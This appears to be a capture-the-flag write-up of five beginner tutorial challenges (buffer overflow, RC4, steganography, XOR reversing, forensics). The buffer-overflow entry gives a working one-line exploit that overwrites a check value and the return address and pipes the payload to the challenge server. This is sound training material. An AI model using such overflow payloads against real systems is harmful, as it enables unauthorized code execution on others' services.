BOF 101

- Tags: #Tutorial #Binary #pwn
- Points: 50
- #Solvers: 282
- Description

> You might have heard about BOF.
> It's the most common vulnerability in executable binaries.
>
> Download: **BOF101.zip**
>
> The binary is running at:
> **nc bof101.sstf.site 1337**.
>
> Can you smash it?
> Just execute *printflag()* function and get the flag!

- Explanation

Fill **buf** with 140 bytes of dummy data. Overwrite **check** variable as 0xdeadbeef to bypass the BOF detection. Oversrite rbp with 8 bytes of dummy data. And finally, overwrite **RET** with the address of **printflag()**.

- exploit

python2 -c 'print "A"*140+"\xef\xbe\xad\xde"+"B"*8+"\x29\x52\x55\x55\x55\x55"' | nc bof101.sstf.site 1337

RC four

- Tags: #Tutorial #Crypto
- Points: 50
- #Solvers: 253
- Description

> See, decrypt, submit.
>
> Download: **RC_four.zip**
>
> Useful Keywords:
> 1) RC4(ARC4) - A good explanation is *here*.

- Explanation

We can get the flag just by executing the python3 code in the tutorial guide.

My Stego

- Tags: #Tutorial #Coding
- Points: 50
- #Solvers: 184

- Description

> Come on, it's just a simple code.
>
> Download: **MyStego.zip**
>
> Useful Keywords:
> 1) OCaml Syntax ... maybe TMI
> 2) Python PIllow

- Explanation

We can get the flag just by executing the python code in the tutorial guide.

CrackMe 101

- Tags: #Tutorial #Rev
- Points: 50
- #Solvers: 232
- Description

> Reversing (a.k.a Reverse Engineering) is a base skill for target analysis.
>
> However, the machine code is very hard to understand for human,
> so we are required to be adept in use of helpful tools such as gdb, IDA, or so on.
>
> Now, here's a practice for you:
> Download: **CrackMe101.zip**
>
> HINT1: https://en.wikipedia.org/wiki/XOR_cipher
> HINT2: http://xor.pw
> * use ASCII(base 256)

- Explanation

We can get the flag just by executing the python code in the tutorial guide.

Hidden Clues

- Tags: #Tutorial #Forensic
- Points: 50
- #Solvers: 185
- Description

> Police and system operators of A-Server, attacked by hackers, traced the hacker's penetration route and succeeded in capturing the hacker's account on the attack server. The security vulnerabilities used in the attack is mitigated, but how they're used in the exploitation is still under investigation.
>
> What can you find from the clues left in the hacker's account?
>
> Download: **Hidden_Clues.zip**
>
> And, if needed, you can use a *restricted* public shell server on
> **nc shellserver.sstf.site 1337**

- Explanation

We can get the flag just by following the steps in the tutorial guide.